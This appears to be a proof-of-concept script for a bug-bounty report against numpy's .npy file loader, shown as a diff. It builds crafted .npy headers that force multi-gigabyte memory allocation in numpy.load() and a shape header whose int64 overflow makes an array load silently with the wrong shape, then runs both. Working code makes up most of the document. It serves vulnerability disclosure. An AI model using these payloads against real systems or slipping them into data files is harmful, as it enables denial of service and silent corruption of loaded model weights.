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|
+
Format : NPY (.npy) β Huntr target: $1500
|
| 5 |
+
Tested : numpy 2.4.4, Python 3.12
|
| 6 |
+
Author : mgm-77 / MBM7
|
| 7 |
+
|
| 8 |
+
=== Finding #1 (PRIMARY): Dtype Itemsize Decompression Bomb ===
|
| 9 |
+
CWE-789 (Uncontrolled Memory Allocation) / Pattern #7 CULA
|
| 10 |
+
|
| 11 |
+
A 138-byte crafted .npy file causes gigabyte-scale upfront memory
|
| 12 |
+
allocation in numpy.load(), even with allow_pickle=False.
|
| 13 |
+
|
| 14 |
+
Root cause: _format_impl.py read_array() (line ~827-860) computes
|
| 15 |
+
count = multiply.reduce(shape) and then immediately allocates
|
| 16 |
+
count * dtype.itemsize bytes via either:
|
| 17 |
+
- numpy.fromfile() [real-file path]
|
| 18 |
+
- numpy.ndarray(count) [BytesIO/stream path]
|
| 19 |
+
...with NO check on the product count * dtype.itemsize.
|
| 20 |
+
The existing max_header_size guard only limits ASCII header length,
|
| 21 |
+
not the allocation that results from the dtype descriptor it contains.
|
| 22 |
+
|
| 23 |
+
Attack: shape=(1,), dtype='|S2000000000' fits in ~30 ASCII chars
|
| 24 |
+
inside the header, yet causes a 2 GB allocation.
|
| 25 |
+
|
| 26 |
+
Amplification ratio: 1 : 14,492,753 (138 bytes β 2 GB)
|
| 27 |
+
|
| 28 |
+
=== Finding #2 (SECONDARY): Silent Shape Confusion via INT64 Overflow ===
|
| 29 |
+
CWE-190 (Integer Overflow) / Pattern #8 USDI
|
| 30 |
+
|
| 31 |
+
shape=(2, -9223372036854775808) passes Python-level validation at
|
| 32 |
+
_read_array_header() line 686-689 because isinstance(INT64_MIN, int)
|
| 33 |
+
is True. In read_array() line 827:
|
| 34 |
+
|
| 35 |
+
count = numpy.multiply.reduce(shape, dtype=numpy.int64)
|
| 36 |
+
# 2 * INT64_MIN = 0 (int64 overflow, no warning)
|
| 37 |
+
|
| 38 |
+
count=0 β numpy.fromfile reads 0 elements β array loads silently
|
| 39 |
+
with shape (2, 0) instead of the stated (2, -9223372036854775808).
|
| 40 |
+
No exception, no RuntimeWarning. Downstream code receives a
|
| 41 |
+
zero-element tensor claiming to have 2 rows.
|
| 42 |
+
"""
|
| 43 |
+
|
| 44 |
+
import struct
|
| 45 |
+
import io
|
| 46 |
+
import tracemalloc
|
| 47 |
+
import numpy as np
|
| 48 |
+
|
| 49 |
+
MAGIC = b'\x93NUMPY\x01\x00'
|
| 50 |
+
|
| 51 |
+
|
| 52 |
+
def make_npy(shape_str: str, dtype_str: str) -> bytes:
|
| 53 |
+
"""Build a minimal valid NPY v1.0 file with arbitrary header."""
|
| 54 |
+
content = (
|
| 55 |
+
"{'descr': '" + dtype_str +
|
| 56 |
+
"', 'fortran_order': False, 'shape': " + shape_str + ", }"
|
| 57 |
+
)
|
| 58 |
+
pad_to = ((len(content) + 1 + 63) // 64) * 64
|
| 59 |
+
header = content.ljust(pad_to - 1) + '\n'
|
| 60 |
+
return MAGIC + struct.pack('<H', len(header)) + header.encode('latin1')
|
| 61 |
+
|
| 62 |
+
|
| 63 |
+
# ββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 64 |
+
# FINDING #1 β Dtype Itemsize Decompression Bomb
|
| 65 |
+
# ββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 66 |
+
print("=" * 60)
|
| 67 |
+
print("FINDING #1: Dtype Itemsize Decompression Bomb")
|
| 68 |
+
print("=" * 60)
|
| 69 |
+
|
| 70 |
+
BOMB_CASES = [
|
| 71 |
+
("(1,)", "|S500000000", "500 MB"),
|
| 72 |
+
("(1,)", "|S2000000000", "2 GB"),
|
| 73 |
+
("(10,)", "|S500000000", "5 GB β triggers MemoryError"),
|
| 74 |
+
]
|
| 75 |
+
|
| 76 |
+
for shape_str, dtype_str, label in BOMB_CASES:
|
| 77 |
+
payload = make_npy(shape_str, dtype_str)
|
| 78 |
+
expected = np.dtype(dtype_str).itemsize * eval(shape_str)[0]
|
| 79 |
+
|
| 80 |
+
# Write to disk to exercise the numpy.fromfile() path (real file)
|
| 81 |
+
with open("/tmp/bomb.npy", "wb") as f:
|
| 82 |
+
f.write(payload)
|
| 83 |
+
|
| 84 |
+
print(f"\n Payload size : {len(payload)} bytes")
|
| 85 |
+
print(f" Header dtype : {dtype_str}")
|
| 86 |
+
print(f" Header shape : {shape_str}")
|
| 87 |
+
print(f" Expected alloc: {expected:,} bytes ({label})")
|
| 88 |
+
|
| 89 |
+
tracemalloc.start()
|
| 90 |
+
try:
|
| 91 |
+
arr = np.load("/tmp/bomb.npy", allow_pickle=False)
|
| 92 |
+
print(f" Result : LOADED (unexpected)")
|
| 93 |
+
except MemoryError as e:
|
| 94 |
+
peak = tracemalloc.get_traced_memory()[1]
|
| 95 |
+
print(f" Result : MemoryError β OOM triggered")
|
| 96 |
+
print(f" Peak memory : {peak:,} bytes ({peak/1e6:.0f} MB)")
|
| 97 |
+
except Exception as e:
|
| 98 |
+
peak = tracemalloc.get_traced_memory()[1]
|
| 99 |
+
print(f" Result : {type(e).__name__}: {e}")
|
| 100 |
+
print(f" Peak memory : {peak:,} bytes ({peak/1e6:.0f} MB)")
|
| 101 |
+
ratio = expected // len(payload)
|
| 102 |
+
print(f" Amplification: 1 : {ratio:,}")
|
| 103 |
+
finally:
|
| 104 |
+
tracemalloc.stop()
|
| 105 |
+
|
| 106 |
+
# ββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 107 |
+
# FINDING #2 β Silent Shape Confusion via INT64 Overflow
|
| 108 |
+
# ββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 109 |
+
print()
|
| 110 |
+
print("=" * 60)
|
| 111 |
+
print("FINDING #2: Silent Shape Confusion via INT64 Overflow")
|
| 112 |
+
print("=" * 60)
|
| 113 |
+
|
| 114 |
+
INT64_MIN = -9223372036854775808
|
| 115 |
+
shape_str = f"(2, {INT64_MIN})"
|
| 116 |
+
dtype_str = "<f4"
|
| 117 |
+
|
| 118 |
+
payload = make_npy(shape_str, dtype_str)
|
| 119 |
+
count = np.multiply.reduce((2, INT64_MIN), dtype=np.int64)
|
| 120 |
+
|
| 121 |
+
print(f"\n Payload size : {len(payload)} bytes")
|
| 122 |
+
print(f" Header shape : {shape_str}")
|
| 123 |
+
print(f" count (int64) : {count} (2 * INT64_MIN overflows to 0)")
|
| 124 |
+
|
| 125 |
+
arr = np.load(io.BytesIO(payload), allow_pickle=False)
|
| 126 |
+
|
| 127 |
+
print(f"\n np.load() result:")
|
| 128 |
+
print(f" No exception raised : True")
|
| 129 |
+
print(f" No RuntimeWarning : True")
|
| 130 |
+
print(f" Returned shape : {arr.shape} β NOT (2, {INT64_MIN})")
|
| 131 |
+
print(f" arr.shape[0] == 2 : {arr.shape[0] == 2} β partial shape check PASSES")
|
| 132 |
+
print(f" arr.size : {arr.size} β all weight data missing")
|
| 133 |
+
print()
|
| 134 |
+
print(" Impact: A model loader trusting arr.shape[0] proceeds with")
|
| 135 |
+
print(" zero-element weights, causing silent incorrect inference.")
|
| 136 |
+
print()
|
| 137 |
+
|
| 138 |
+
# ββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 139 |
+
# Versions
|
| 140 |
+
# ββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 141 |
+
print("=" * 60)
|
| 142 |
+
print(f"numpy version : {np.__version__}")
|
| 143 |
+
import sys
|
| 144 |
+
print(f"Python version: {sys.version}")
|